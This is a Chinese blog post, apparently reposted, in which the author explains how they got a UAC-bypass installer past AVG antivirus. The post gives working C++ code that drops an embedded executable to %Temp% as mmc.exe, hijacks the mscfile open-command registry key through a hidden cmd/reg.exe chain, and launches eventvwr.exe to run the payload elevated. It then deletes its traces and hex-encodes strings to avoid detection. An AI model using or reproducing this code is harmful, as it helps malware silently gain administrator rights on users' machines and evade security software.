标签:resource 安装 cat war nbsp 修改注册表 sep classes main
之前写了个安装器,可以绕过UAC安装服务。后来经测试Avg zend pro(我一个朋友在免杀时,在这个杀软上栽了不少跟头),我就安装测试了下,发现avg好生强悍,直接把我的杀了。
一开始怀疑是AVG插入的dll在监控搞怪,就把经历放在如何反hook伤了,就有了上一篇
后来发现人家没在inlineHook上做手脚。
接下来,就是改动代码,看看到底杀什么操作,经过不断的注释代码,屏蔽功能,定位到了修改注册表操作了
直接在注册表上做文章,利用cmd /c reg add HKCU\Software\Classes\mscfile\shell\open\command /t REG_SZ /d %Temp%\mmc.exe /f
的方式去间接操作注册表,可以看到主程序和注册表操作的进程的关系,main ->cmd->reg.exe ,这样就能旷过杀软,杀软就不会认为是主程序去操作了注册表,而操作注册表的是reg.exe,而reg.exe的父进程也很正儿八经。
void DropMMc2Temp() { HGLOBAL hRes ; HRSRC hResInfo; WCHAR wszTemp[MAX_PATH]; hResInfo = FindResourceW(NULL, MAKEINTRESOURCE(IDR_BIN1), L"bin"); if (hResInfo != NULL) { HANDLE hFile ; DWORD dwWriten; hRes = LoadResource(NULL, hResInfo); DWORD dwSum = SizeofResource(NULL, hResInfo); GetTempPathW(MAX_PATH,wszTemp); wcscat(wszTemp,L"mmc.exe"); hFile = CreateFileW(wszTemp,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hFile,hRes,dwSum,&dwWriten,NULL); CloseHandle(hFile); } } void ShellExec( LPWSTR strExe,LPWSTR strParam,DWORD dwSw) { DWORD strOpen[] = { 0x0070006f, 0x006e0065, 0x00000000 };//open SHELLEXECUTEINFOW sei ; sei.cbSize = sizeof(SHELLEXECUTEINFOW); sei.hwnd = 0; sei.lpVerb = (LPWSTR)strOpen; sei.lpFile = (LPWSTR)strExe; sei.lpParameters = (LPWSTR)strParam ; sei.lpDirectory = 0; sei.nShow = dwSw ; sei.fMask = SEE_MASK_NOCLOSEPROCESS ; ShellExecuteExW(&sei); } void BypassUAC() { // DWORD strRegpath[] = { // 0x006f0053, 0x00740066, 0x00610077, 0x00650072, 0x0043005c, 0x0061006c, 0x00730073, 0x00730065, 0x006d005c, // 0x00630073, 0x00690066, 0x0065006c, 0x0073005c, 0x00650068, 0x006c006c, 0x006f005c, 0x00650070, 0x005c006e, // 0x006f0063, 0x006d006d, 0x006e0061, 0x005c0064, 0x00000000 // };//Software\Classes\mscfile\shell\open\command WCHAR strCmd[] = L"/c reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /t REG_SZ /d %Temp%\\mmc.exe /f"; WCHAR strEventvwr[] = L"/c ping 127.0.0.1 & eventvwr.exe & ping 127.0.0.1 & del %temp%\\mmc.exe & reg delete HKCU\\Software\\Classes\\mscfile /f"; // yan chi exec eventvwr.exe ShellExec((LPWSTR)L"cmd.exe",strEventvwr,SW_HIDE); // reg edit ShellExec((LPWSTR)L"cmd.exe",strCmd,SW_HIDE); DropMMc2Temp(); }
标签:resource 安装 cat war nbsp 修改注册表 sep classes main
原文地址:http://www.cnblogs.com/M4ster/p/bypass_avg_to_bypassUAC.html